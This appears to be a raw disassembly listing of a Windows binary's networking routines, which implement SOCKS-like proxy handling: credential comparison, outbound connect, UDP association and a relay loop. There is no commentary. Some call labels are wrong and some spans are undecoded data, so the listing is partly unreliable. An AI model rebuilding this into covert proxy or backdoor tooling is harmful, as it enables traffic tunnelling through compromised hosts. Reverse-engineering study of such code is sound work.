		mov	ebp, [esp+524h+arg_4]
		push	esi
		push	edi
		mov	edx, ecx
		movsx	eax, byte ptr [ebp+3]
		dec	eax
		mov	[esp+52Ch+var_508], 0
		mov	[esp+52Ch+var_50C], 7
		mov	[esp+52Ch+var_51C], 2
		jz	short loc_42A68F
		dec	eax
		jz	short loc_42A63A
		dec	eax
		jnz	loc_42A782
		pop	edi
		pop	esi
		pop	ebp
		mov	al, 1
		pop	ebx
		add	esp, 51Ch
		retn	0Ch
; ---------------------------------------------------------------------------


loc_42A63A:				; CODE XREF: sub_42A5F0+32j
		movsx	eax, byte ptr [ebp+4]
		mov	ecx, eax
		lea	esi, [ebp+5]
		mov	ebx, ecx
		lea	edi, [esp+52Ch+var_400]
		shr	ecx, 2
		rep movsd
		mov	ecx, ebx
		and	ecx, 3
		rep movsb
		mov	byte ptr [esp+eax+52Ch+var_400], 0
		lea	eax, [esp+52Ch+var_518]
		lea	ecx, [esp+52Ch+var_400]
		push	eax
		push	ecx
		mov	ecx, edx
		call	sub_40174E
		test	al, al
		jz	loc_42A782
		movsx	esi, byte ptr [ebp+4]
		mov	dx, [esi+ebp+5]
		add	esi, 7
		mov	[esp+52Ch+var_51A], dx
		jmp	short loc_42A6AB
; ---------------------------------------------------------------------------


loc_42A68F:				; CODE XREF: sub_42A5F0+2Fj
		mov	eax, [ebp+4]
		mov	esi, 0Ah
		mov	[esp+52Ch+var_400], eax
		mov	[esp+52Ch+var_518], eax
		mov	ax, [ebp+8]
		mov	[esp+52Ch+var_51A], ax


loc_42A6AB:				; CODE XREF: sub_42A5F0+9Dj
		mov	ebx, dword_50FC30
		push	11h
		push	2
		push	2
		call	ebx	; socket
		push	11h
		push	2
		push	2
		mov	edi, eax
		call	ebx	; socket
		cmp	edi, 0FFFFFFFFh
		jz	loc_42A782
		cmp	eax, 0FFFFFFFFh
		jnz	loc_42A782
		mov	edx, [esp+52Ch+arg_8]
		lea	ecx, [esp+52Ch+var_51C]
		push	10h
		push	ecx
		sub	edx, esi
		push	0
		add	esi, ebp
		mov	ebp, dword_50FC5C
		push	edx
		push	esi
		push	edi
		call	ebp	; sendto
		mov	ebx, [esp+52Ch+arg_0]
		push	10h
		push	ebx
		push	edi
		call	near ptr 71AB3E00h
		nop
		test	eax, eax
		jnz	short loc_42A782


loc_42A709:				; CODE XREF: sub_42A5F0+174j
		lea	eax, [esp+52Ch+var_50C]
		lea	ecx, [esp+52Ch+var_504]
		push	eax
		push	0
		push	0
		push	ecx
		push	1
		mov	[esp+540h+var_500], 0FFFFFFFFh
		mov	[esp+540h+var_504], 1
		nop
		call	near ptr 71AB2DC0h
		push	0
		push	0
		push	0
		lea	edx, [esp+538h+var_400]
		push	3FFh
		push	edx
		push	edi
		nop
		call	near ptr 71AB2D0Fh
		push	10h
		mov	esi, eax
		push	ebx
		push	0
		lea	eax, [esp+538h+var_400]
		push	esi
		push	eax
		push	0FFFFFFFFh
		call	ebp	; sendto
		test	esi, esi
		jbe	short loc_42A766
		cmp	esi, 0FFFFFFFFh
		jnz	short loc_42A709


loc_42A766:				; CODE XREF: sub_42A5F0+16Fj
		mov	esi, dword_50FC88
		push	edi
		call	esi	; closesocket
		push	0FFFFFFFFh
		call	esi	; closesocket
		pop	edi
		pop	esi
		pop	ebp
		mov	al, 1
		pop	ebx
		add	esp, 51Ch
		retn	0Ch
; ---------------------------------------------------------------------------


loc_42A782:				; CODE XREF: sub_42A5F0+35j
					; sub_42A5F0+86j ...
		pop	edi
		pop	esi
		pop	ebp
		xor	al, al
		pop	ebx
		add	esp, 51Ch
		retn	0Ch
sub_42A5F0	endp

; ---------------------------------------------------------------------------
		db 0Fh dup(90h)
		db 70h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_42A810	proc near		; CODE XREF: sub_42B2D0:loc_4013A2j

var_82C		= dword	ptr -82Ch
var_828		= dword	ptr -828h
var_824		= dword	ptr -824h
var_820		= dword	ptr -820h
var_81C		= byte ptr -81Ch
var_81A		= word ptr -81Ah
var_818		= dword	ptr -818h
var_80C		= dword	ptr -80Ch
var_808		= dword	ptr -808h
var_7E8		= dword	ptr -7E8h
var_7E4		= dword	ptr -7E4h
var_708		= byte ptr -708h
var_707		= byte ptr -707h
var_705		= dword	ptr -705h
var_604		= word ptr -604h
var_600		= dword	ptr -600h
var_5F0		= byte ptr -5F0h
var_200		= byte ptr -200h
var_100		= byte ptr -100h
arg_0		= dword	ptr  4

		sub	esp, 82Ch
		push	ebx
		push	ebp
		push	esi
		mov	esi, [esp+838h+arg_0]
		cmp	esi, 0FFFFFFFFh
		push	edi
		mov	ebp, ecx
		mov	[esp+83Ch+var_828], 0
		mov	[esp+83Ch+var_82C], 0Bh
		mov	[esp+83Ch+var_808], esi
		mov	[esp+83Ch+var_80C], 1
		jz	loc_42AACA
		mov	eax, [ebp-8]
		mov	ecx, [eax+4]
		mov	ax, [ecx+ebp-2]
		cmp	ax, 1
		jnz	loc_42ABE6
		mov	edi, dword_50FC80
		lea	edx, [esp+83Ch+var_82C]
		push	edx
		push	0
		lea	eax, [esp+844h+var_80C]
		push	0
		push	eax
		push	1
		call	edi	; select
		test	eax, eax
		jle	loc_42AC73
		lea	ecx, [esp+83Ch+var_80C]
		push	ecx
		push	esi
		call	sub_436F60
; ---------------------------------------------------------------------------
		dd 840FC085h, 3E3h, 16A066Ah, 0F6E8026Ah, 90716892h, 89FFF883h
		dd 0F1C2444h, 22184h, 901D8B00h, 6A0050FCh, 24948D00h
		dd 240h, 5652026Ah, 0BC80D3FFh,	23C24h,	850F0500h, 1FEh
		dd 2484BE0Fh, 23Dh, 948DC933h, 23C24h, 248C8900h, 23Ch
		dd 40248C89h, 66000002h, 44248C89h, 51000002h, 88565250h
		dd 256248Ch, 0D3FF0000h, 26A006Ah, 44534468h, 0E8905600h
		dd 7168997Ah, 1024448Dh, 30244C8Dh, 6A006A50h, 16A5100h
		dd 282444C7h, 0
; ---------------------------------------------------------------------------
		mov	[esp+82Ch+var_808], 7
		mov	[esp+82Ch+var_7E4], esi
		mov	[esp+82Ch+var_7E8], 1
		call	edi	; select
		xor	eax, eax
		lea	edx, [esp+82Ch+var_5F0]
		push	eax
		mov	ecx, 20h
		lea	edi, [esp+830h+var_5F0]
		push	2
		push	edx
		push	esi
		rep stosd
		call	ebx	; socket
		cmp	byte ptr [esp+83Ch+var_600], 1
		jnz	loc_42AACA
		movsx	eax, byte ptr [esp+83Ch+var_600+1]
		push	0
		lea	ecx, [esp+840h+var_200]
		push	eax
		push	ecx
		push	esi
		call	ebx	; socket
		movsx	edx, byte ptr [esp+83Ch+var_600+1]
		push	0
		lea	eax, [esp+840h+var_600]
		push	1
		push	eax
		push	esi
		mov	[esp+edx+84Ch+var_200],	0
		call	ebx	; socket
		movsx	ecx, byte ptr [esp+83Ch+var_600]
		push	0
		lea	edx, [esp+840h+var_100]
		push	ecx
		push	edx
		push	esi
		call	ebx	; socket
		movsx	eax, byte ptr [esp+83Ch+var_600]
		mov	ecx, [ebp-8]
		mov	[esp+eax+83Ch+var_100],	0
		mov	ecx, [ecx+4]
		add	ecx, ebp
		call	sub_4017E4
		mov	edi, eax
		lea	ecx, [esp+83Ch+var_200]


loc_42A9DB:				; CODE XREF: sub_42A810+1E9j
		mov	dl, [ecx]
		mov	al, dl
		cmp	dl, [edi]
		jnz	short loc_42A9FF
		test	al, al
		jz	short loc_42A9FB
		mov	dl, [ecx+1]
		mov	al, dl
		cmp	dl, [edi+1]
		jnz	short loc_42A9FF
		add	ecx, 2
		add	edi, 2
		test	al, al
		jnz	short loc_42A9DB


loc_42A9FB:				; CODE XREF: sub_42A810+1D5j
		xor	eax, eax
		jmp	short loc_42AA04
; ---------------------------------------------------------------------------


loc_42A9FF:				; CODE XREF: sub_42A810+1D1j
					; sub_42A810+1DFj
		sbb	eax, eax
		sbb	eax, 0FFFFFFFFh


loc_42AA04:				; CODE XREF: sub_42A810+1EDj
		test	eax, eax
		jz	short loc_42AA61
		mov	eax, [ebp-8]
		mov	ecx, [eax+4]
		lea	ecx, [ecx+ebp+15h]
		call	sub_4017E4
		lea	edi, [esp+83Ch+var_100]


loc_42AA1E:				; CODE XREF: sub_42A810+22Cj
		mov	dl, [edi]
		mov	cl, dl
		cmp	dl, [eax]
		jnz	short loc_42AA42
		test	cl, cl
		jz	short loc_42AA3E
		mov	dl, [edi+1]
		mov	cl, dl
		cmp	dl, [eax+1]
		jnz	short loc_42AA42
		add	edi, 2
		add	eax, 2
		test	cl, cl
		jnz	short loc_42AA1E


loc_42AA3E:				; CODE XREF: sub_42A810+218j
		xor	eax, eax
		jmp	short loc_42AA47
; ---------------------------------------------------------------------------


loc_42AA42:				; CODE XREF: sub_42A810+214j
					; sub_42A810+222j
		sbb	eax, eax
		sbb	eax, 0FFFFFFFFh


loc_42AA47:				; CODE XREF: sub_42A810+230j
		test	eax, eax
		jz	short loc_42AA61
		push	esi
		nop
		call	near ptr 71AB9639h
		pop	edi
		pop	esi
		pop	ebp
		xor	al, al
		pop	ebx
		add	esp, 82Ch
		retn	4
; ---------------------------------------------------------------------------


loc_42AA61:				; CODE XREF: sub_42A810+1F6j
					; sub_42A810+239j
		mov	edi, dword_50FC8C
		push	0
		push	2
		push	offset dword_445340
		push	esi
		call	edi	; send
		lea	eax, [esp+83Ch+var_82C]
		lea	ecx, [esp+83Ch+var_80C]
		push	eax
		push	0
		push	0
		push	ecx
		push	1
		mov	[esp+850h+var_808], esi
		mov	[esp+850h+var_80C], 1
		call	near ptr 71AB2DC0h
		nop
		lea	edx, [esp+83Ch+var_80C]
		push	edx
		push	esi
		call	sub_436F60
; ---------------------------------------------------------------------------
		test	eax, eax
		jz	short loc_42AACA
		push	0
		lea	eax, [esp+840h+var_708]
		push	4
		push	eax
		push	esi
		call	ebx	; socket
		mov	eax, [esp+83Ch+var_705]
		and	eax, 0FFh
		dec	eax
		jz	short loc_42AB31
		sub	eax, 2
		jz	short loc_42AAD9
		dec	eax


loc_42AAC8:				; CODE XREF: sub_42A810+31Fj
		jnz	short loc_42AB40


loc_42AACA:				; CODE XREF: sub_42A810+32j
					; sub_42A810+154j ...
		pop	edi
		pop	esi
		pop	ebp
		xor	al, al
		pop	ebx
		add	esp, 82Ch
		retn	4
; ---------------------------------------------------------------------------


loc_42AAD9:				; CODE XREF: sub_42A810+2B5j
		push	0
		lea	ecx, [esp+840h+var_600]
		push	1
		push	ecx
		push	esi
		call	ebx	; socket
		movsx	edx, byte ptr [esp+83Ch+var_600]
		push	0
		lea	eax, [esp+840h+var_705+1]
		push	edx
		push	eax
		push	esi
		call	ebx	; socket
		movsx	ecx, byte ptr [esp+83Ch+var_600]
		lea	edx, [esp+83Ch+var_600]
		lea	eax, [esp+83Ch+var_705+1]
		mov	byte ptr [esp+ecx+83Ch+var_705+1], 0
		mov	ecx, [ebp-8]
		push	edx
		push	eax
		mov	edx, [ecx+4]
		lea	ecx, [edx+ebp-8]
		call	sub_40174E
		test	al, al
		jmp	short loc_42AAC8
; ---------------------------------------------------------------------------


loc_42AB31:				; CODE XREF: sub_42A810+2B0j
		push	0
		lea	eax, [esp+840h+var_600]
		push	4
		push	eax
		push	esi
		call	ebx	; socket


loc_42AB40:				; CODE XREF: sub_42A810:loc_42AAC8j
		push	0
		lea	ecx, [esp+840h+var_604]
		push	2
		push	ecx
		push	esi
		call	ebx	; socket
		cmp	[esp+83Ch+var_707], 1
		jnz	loc_42AACA
		mov	ebx, [esp+83Ch+var_820]
		mov	dx, [esp+83Ch+var_604]
		mov	eax, [esp+83Ch+var_600]
		lea	ecx, [esp+83Ch+var_81C]
		push	10h
		push	ecx
		push	ebx
		mov	word ptr [esp+848h+var_81C], 2
		mov	[esp+848h+var_81A], dx
		mov	[esp+848h+var_818], eax
		nop
		call	near ptr 71AB406Ah
		test	eax, eax
		jnz	loc_42AACA
		push	eax
		push	4
		push	offset dword_445338
		push	esi
		call	edi	; send
		push	0
		lea	edx, [esp+840h+var_600]
		push	4
		push	edx
		push	esi
		call	edi	; send
		push	0
		lea	eax, [esp+840h+var_604]
		push	2
		push	eax
		push	esi
		call	edi	; send
		mov	ecx, [ebp-8]
		push	ebx
		push	esi
		mov	edx, [ecx+4]
		lea	ecx, [edx+ebp-8]
		call	sub_4020C2
		push	ebx
		call	near ptr 71AB9639h
		nop
		pop	edi
		pop	esi
		pop	ebp
		mov	al, 1
		pop	ebx
		add	esp, 82Ch
		retn	4
; ---------------------------------------------------------------------------


loc_42ABE6:				; CODE XREF: sub_42A810+47j
		cmp	ax, 2
		jnz	loc_42AC73
		mov	ebx, dword_50FC80


loc_42ABF6:				; CODE XREF: sub_42A810+461j
		lea	eax, [esp+83Ch+var_82C]
		lea	ecx, [esp+83Ch+var_80C]
		push	eax
		push	0
		push	0
		push	ecx
		push	1
		mov	[esp+850h+var_808], esi
		mov	[esp+850h+var_80C], 1
		call	ebx	; select
		lea	edx, [esp+83Ch+var_824]
		lea	eax, [esp+83Ch+var_81C]
		push	edx
		push	eax
		push	0
		lea	ecx, [esp+848h+var_600]
		push	3FFh
		push	ecx
		push	esi
		mov	[esp+854h+var_824], 10h
		nop
		call	near ptr 71AB2D0Fh
		mov	ecx, [ebp-8]
		mov	edi, eax
		lea	edx, [esp+83Ch+var_600]
		push	edi
		push	edx
		mov	edx, [ecx+4]
		lea	eax, [esp+844h+var_81C]
		push	eax
		lea	ecx, [edx+ebp-8]
		call	sub_401C1C
		test	edi, edi
		jz	short loc_42AC73
		cmp	edi, 0FFFFFFFFh
		jz	short loc_42AC73
		lea	eax, [esp+83Ch+var_80C]
		push	eax
		push	esi
		call	sub_436F60
; ---------------------------------------------------------------------------
		test	eax, eax
		jnz	short loc_42ABF6


loc_42AC73:				; CODE XREF: sub_42A810+67j
					; sub_42A810+3DAj ...
		pop	edi
		pop	esi
		pop	ebp
		mov	al, 1
		pop	ebx
		add	esp, 82Ch
		retn	4
sub_42A810	endp

; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 120h	dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_42ADB0	proc near		; CODE XREF: sub_401F19j

var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_C		= dword	ptr -0Ch

		sub	esp, 10h
		push	esi
		mov	esi, ecx
		mov	eax, [esi+32h]
		test	eax, eax
		jz	short loc_42ADC4
		xor	al, al
		pop	esi
		add	esp, 10h
		retn
; ---------------------------------------------------------------------------


loc_42ADC4:				; CODE XREF: sub_42ADB0+Bj
		xor	eax, eax
		mov	ax, [esi+6]
		dec	eax
		jz	short loc_42ADD6
		dec	eax
		jz	short loc_42ADF8
		mov	word ptr [esi+6], 1


loc_42ADD6:				; CODE XREF: sub_42ADB0+1Bj
		mov	eax, 1
		mov	ecx, 6


loc_42ADE0:				; CODE XREF: sub_42ADB0+52j
		push	ecx
		push	eax
		push	2
		nop
		call	near ptr 71AB3B91h
		test	eax, eax
		mov	[esi+32h], eax
		jnz	short loc_42AE04
		xor	al, al
		pop	esi
		add	esp, 10h
		retn
; ---------------------------------------------------------------------------


loc_42ADF8:				; CODE XREF: sub_42ADB0+1Ej
		mov	eax, 2
		mov	ecx, 11h
		jmp	short loc_42ADE0
; ---------------------------------------------------------------------------


loc_42AE04:				; CODE XREF: sub_42ADB0+3Fj
		mov	ax, [esi+4]
		mov	[esp+14h+var_10], 2
		push	eax
		mov	[esp+18h+var_C], 0
		nop
		call	near ptr 71AB2B66h
		mov	edx, [esi+32h]
		lea	ecx, [esp+14h+var_10]
		push	10h
		push	ecx
		push	edx
		mov	[esp+20h+var_E], ax
		nop
		call	near ptr 71AB3E00h
		test	eax, eax
		jz	short loc_42AE49
		mov	eax, [esi+32h]
		push	eax
		call	near ptr 71AB9639h
		nop
		xor	al, al
		pop	esi
		add	esp, 10h
		retn
; ---------------------------------------------------------------------------


loc_42AE49:				; CODE XREF: sub_42ADB0+86j
		cmp	word ptr [esi+6], 1
		jnz	short loc_42AE71
		mov	ecx, [esi+32h]
		push	3
		push	ecx
		nop
		call	near ptr 71AB88D3h
		test	eax, eax
		jz	short loc_42AE71
		mov	edx, [esi+32h]
		push	edx
		nop
		call	near ptr 71AB9639h
		xor	al, al
		pop	esi
		add	esp, 10h
		retn
; ---------------------------------------------------------------------------


loc_42AE71:				; CODE XREF: sub_42ADB0+9Ej
					; sub_42ADB0+AEj
		mov	al, 1
		pop	esi
		add	esp, 10h
		retn
sub_42ADB0	endp

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 40h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42AEC0	proc near		; CODE XREF: sub_401DBBj

var_24		= byte ptr -24h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset SEH_42AEC0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 18h
		push	ebx
		push	esi
		push	edi
		mov	edi, ecx
		mov	[ebp+var_10], esp
		mov	ax, [edi+6]
		cmp	ax, 1
		jnz	short loc_42AF5A
		mov	eax, [edi+32h]
		mov	[ebp+var_14], 10h
		test	eax, eax
		jz	short loc_42AF41
		mov	ebx, dword_50FC84
		lea	ecx, [ebp+var_14]
		lea	edx, [ebp+var_24]
		push	ecx
		push	edx
		push	eax
		call	ebx	; accept
		mov	esi, eax
		test	esi, esi
		jnz	short loc_42AF26


loc_42AF12:				; CODE XREF: sub_42AEC0+64j
		mov	edx, [edi+32h]
		lea	eax, [ebp+var_14]
		lea	ecx, [ebp+var_24]
		push	eax
		push	ecx
		push	edx
		call	ebx	; accept
		mov	esi, eax
		test	esi, esi
		jz	short loc_42AF12


loc_42AF26:				; CODE XREF: sub_42AEC0+50j
		mov	eax, [edi]
		push	esi
		mov	ecx, edi
		mov	[ebp+var_4], 0
		call	dword ptr [eax]
		push	esi
		mov	bl, al
		call	near ptr 71AB9639h
		nop
		test	bl, bl
		jnz	short loc_42AF7A


loc_42AF41:				; CODE XREF: sub_42AEC0+39j
					; sub_42AEC0+9Ej ...
		xor	al, al
		mov	ecx, [ebp+var_C]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_42AF54:				; DATA XREF: ___:00441F74o
		mov	eax, offset loc_42AF41
		retn
; ---------------------------------------------------------------------------


loc_42AF5A:				; CODE XREF: sub_42AEC0+2Bj
		cmp	ax, 2
		jnz	short loc_42AF41
		mov	eax, [edi+32h]
		mov	edx, [edi]
		push	eax
		mov	ecx, edi
		call	dword ptr [edx]
		mov	ecx, [edi+32h]
		mov	bl, al
		push	ecx
		nop
		call	near ptr 71AB9639h
		test	bl, bl
		jz	short loc_42AF41


loc_42AF7A:				; CODE XREF: sub_42AEC0+7Fj
		mov	ecx, [ebp+var_C]
		pop	edi
		pop	esi
		mov	al, 1
		mov	large fs:0, ecx
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_42AEC0	endp

; ---------------------------------------------------------------------------
		db 3 dup(90h)
		db 40h dup(0CCh)
; ---------------------------------------------------------------------------


loc_42AFD0:				; CODE XREF: ___:00401F78j
		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset loc_43BB90
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	ebx
		push	esi
		mov	esi, [ebp+8]
		push	edi
		mov	[ebp-10h], esp
		mov	dword ptr [ebp-4], 0
		mov	eax, [esi]
		mov	ecx, [eax+4]
		mov	eax, [ecx+esi+32h]
		add	ecx, esi
		push	eax
		mov	edx, [ecx]
		call	dword ptr [edx]
		mov	ecx, [esi]
		mov	edx, [ecx+4]
		mov	eax, [edx+esi+32h]
		push	eax
		nop
		call	near ptr 71AB9639h


loc_42B019:				; DATA XREF: ___:loc_42B031o
		mov	ecx, [ebp-0Ch]
		pop	edi
		pop	esi
		mov	eax, 1
		mov	large fs:0, ecx
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn	4
; ---------------------------------------------------------------------------


loc_42B031:				; DATA XREF: ___:00441FD4o
		mov	eax, offset loc_42B019
		retn
; ---------------------------------------------------------------------------
		db 9 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_42B060	proc near		; CODE XREF: sub_401C17j

var_19C		= byte ptr -19Ch
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
arg_4		= byte ptr  8
arg_1C		= byte ptr  20h

		push	0FFFFFFFFh
		push	offset SEH_42B060
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 194h
		lea	eax, [esp+1A0h+var_19C]
		mov	[esp+1A0h+var_4], 1
		push	eax
		push	2
		nop
		call	near ptr 71AB664Dh
		test	eax, eax
		jz	short loc_42B0D7


loc_42B097:				; CODE XREF: ___:0042B166j
		lea	ecx, [esp+1A0h+arg_4]
		mov	byte ptr [esp+1A0h+var_4], 0
		call	sub_401226
		lea	ecx, [esp+1A0h+arg_1C]
		mov	[esp+1A0h+var_4], 0FFFFFFFFh
		call	sub_401226
		mov	ecx, [esp+1A0h+var_C]
		mov	large fs:0, ecx
		add	esp, 1A0h
		retn
; ---------------------------------------------------------------------------


loc_42B0D7:				; CODE XREF: sub_42B060+35j
		push	42h
		call	sub_4367FA
sub_42B060	endp

; ---------------------------------------------------------------------------
		add	esp, 4
		mov	[esp+0], eax
		test	eax, eax
		mov	byte ptr [esp+19Ch], 2
		jz	short loc_42B0FC
		push	1
		mov	ecx, eax
		call	sub_4014E7
		jmp	short loc_42B0FE
; ---------------------------------------------------------------------------


loc_42B0FC:				; CODE XREF: ___:0042B0EFj
		xor	eax, eax


loc_42B0FE:				; CODE XREF: ___:0042B0FAj
		mov	dword_50E3D8, eax
		mov	ecx, [eax]
		mov	byte ptr [esp+19Ch], 1
		mov	edx, [ecx+4]
		mov	cx, [esp+1A4h]
		mov	[edx+eax+4], cx
		mov	eax, dword_50E3D8
		lea	edx, [esp+1A8h]
		mov	ecx, [eax]
		push	edx
		mov	edx, [ecx+4]
		lea	ecx, [edx+eax+8]
		call	sub_40200E
		lea	eax, [esp+1C0h]
		push	eax
		mov	eax, dword_50E3D8
		mov	ecx, [eax]
		mov	edx, [ecx+4]
		lea	ecx, [edx+eax+1Dh]
		call	sub_40200E
		mov	eax, dword_50E3D8
		mov	ecx, [eax]
		mov	ecx, [ecx+4]
		add	ecx, eax
		call	sub_401F19
		test	al, al
		jz	loc_42B097


loc_42B16C:				; CODE XREF: ___:0042B17Dj
		mov	eax, dword_50E3D8
		mov	edx, [eax]
		mov	ecx, [edx+4]
		add	ecx, eax
		call	sub_401DBB
		jmp	short loc_42B16C
; ---------------------------------------------------------------------------
		db 90h
		db 50h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_42B1D0	proc near		; CODE XREF: sub_4014E7j

var_4		= dword	ptr -4
arg_0		= dword	ptr  4

		push	ecx
		mov	eax, [esp+4+arg_0]
		push	esi
		test	eax, eax
		mov	esi, ecx
		mov	[esp+8+var_4], 0
		jz	short loc_42B1F2
		lea	ecx, [esi+8]
		mov	dword ptr [esi], offset	dword_43E190
		call	sub_4014AB


loc_42B1F2:				; CODE XREF: sub_42B1D0+12j
		mov	eax, [esi]
		mov	ecx, [eax+4]
		mov	dword ptr [ecx+esi], offset off_43E18C
		mov	edx, [esi]
		mov	eax, [edx+4]
		lea	ecx, [eax-8]
		mov	[eax+esi-4], ecx
		mov	eax, esi
		pop	esi
		pop	ecx
		retn	4
sub_42B1D0	endp

; ---------------------------------------------------------------------------
		db 0Fh dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_42B240	proc near		; CODE XREF: sub_4014ABj

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_42B240
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		lea	ecx, [esi+8]
		call	sub_401424
		lea	ecx, [esi+1Dh]
		mov	[esp+14h+var_4], 0
		call	sub_401424
		mov	ecx, [esp+14h+var_C]
		mov	dword ptr [esi], offset	off_43E19C
		mov	dword ptr [esi+32h], 0
		mov	word ptr [esi+6], 1
		mov	word ptr [esi+4], 0
		mov	dword ptr [esi+36h], 1000h
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_42B240	endp

; ---------------------------------------------------------------------------
		db 9 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_42B2D0	proc near		; CODE XREF: sub_4020D1j

; FUNCTION CHUNK AT 004013A2 SIZE 00000005 BYTES

		sub	ecx, [ecx-4]
		jmp	loc_4013A2
sub_42B2D0	endp

; ---------------------------------------------------------------------------
		align 10h


loc_42B2E0:				; CODE XREF: ___:00401352j
		push	0FFFFFFFFh
		push	offset loc_43BC08
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+4], esi
		call	sub_401F82
		push	offset off_443D80
		lea	ecx, [esi+11h]
		mov	dword ptr [esp+14h], 0
		mov	dword ptr [esi], offset	off_43E1A0
		call	sub_4015D7
		mov	ecx, [esp+8]
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
; ---------------------------------------------------------------------------
		db 90h
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_42B350	proc near		; CODE XREF: ___:00401398j sub_401F41j

arg_0		= byte ptr  4

		push	esi
		mov	esi, ecx
		call	sub_4011BD
		test	[esp+4+arg_0], 1
		jz	short loc_42B368
		push	esi
		call	sub_4367E2
; ---------------------------------------------------------------------------
		add	esp, 4


loc_42B368:				; CODE XREF: sub_42B350+Dj
		mov	eax, esi
		pop	esi
		retn	4
sub_42B350	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_42B380	proc near		; CODE XREF: sub_4011BDj
		jmp	sub_40179E
sub_42B380	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_42B3A0	proc near		; CODE XREF: sub_40134Dj

var_10		= byte ptr -10h

		mov	eax, 1000h
		call	sub_436840
		push	ebx
		push	ebp
		push	esi
		mov	esi, ecx
		push	edi
		mov	eax, [esi+99h]
		mov	cl, [eax+11Ch]
		test	cl, cl
		jz	short loc_42B42C
		mov	ebx, dword_50FC90
		mov	ebp, dword_50FC8C


loc_42B3CC:				; CODE XREF: sub_42B3A0+8Aj
		mov	edx, [esi+9Dh]
		mov	ecx, 400h
		xor	eax, eax
		lea	edi, [esp+10h]
		rep stosd
		push	eax
		mov	eax, [edx+0A5h]
		lea	ecx, [esp+14h]
		push	1000h
		push	ecx
		push	eax
		call	ebx	; recv
		test	eax, eax
		jz	short loc_42B42C
		cmp	eax, 0FFFFFFFFh
		jz	short loc_42B42C
		mov	edx, [esi+9Dh]
		push	0
		push	eax
		lea	ecx, [esp+28h+var_10]
		mov	eax, [edx+0A1h]
		push	ecx
		push	eax
		call	ebp	; send
		test	eax, eax
		jz	short loc_42B42C
		cmp	eax, 0FFFFFFFFh
		jz	short loc_42B42C
		mov	ecx, [esi+99h]
		mov	al, [ecx+11Ch]
		test	al, al
		jnz	short loc_42B3CC


loc_42B42C:				; CODE XREF: sub_42B3A0+1Ej
					; sub_42B3A0+55j ...
		mov	edx, [esi+9Dh]
		pop	edi
		pop	esi
		pop	ebp
		mov	eax, [edx+0A1h]
		pop	ebx
		cmp	eax, 0FFFFFFFFh
		jz	short loc_42B448
		push	eax
		call	near ptr 71AB9639h
		nop


loc_42B448:				; CODE XREF: sub_42B3A0+9Fj
		add	esp, 1000h
		retn
sub_42B3A0	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		db 90h
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_42B480	proc near		; CODE XREF: sub_401663j

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_42B480
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		call	sub_401F82
		push	offset off_443D80
		lea	ecx, [esi+11h]
		mov	[esp+18h+var_4], 0
		mov	dword ptr [esi], offset	off_43E1B0
		call	sub_4015D7
		mov	ecx, [esp+14h+var_C]
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_42B480	endp

; ---------------------------------------------------------------------------
		db 90h
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_42B4F0	proc near		; CODE XREF: ___:004013A7j sub_401B22j

arg_0		= byte ptr  4

		push	esi
		mov	esi, ecx
		call	sub_401217
		test	[esp+4+arg_0], 1
		jz	short loc_42B508
		push	esi
		call	sub_4367E2
; ---------------------------------------------------------------------------
		add	esp, 4


loc_42B508:				; CODE XREF: sub_42B4F0+Dj
		mov	eax, esi
		pop	esi
		retn	4
sub_42B4F0	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_42B520	proc near		; CODE XREF: sub_401217j
		jmp	sub_40179E
sub_42B520	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 10h dup(0CCh)

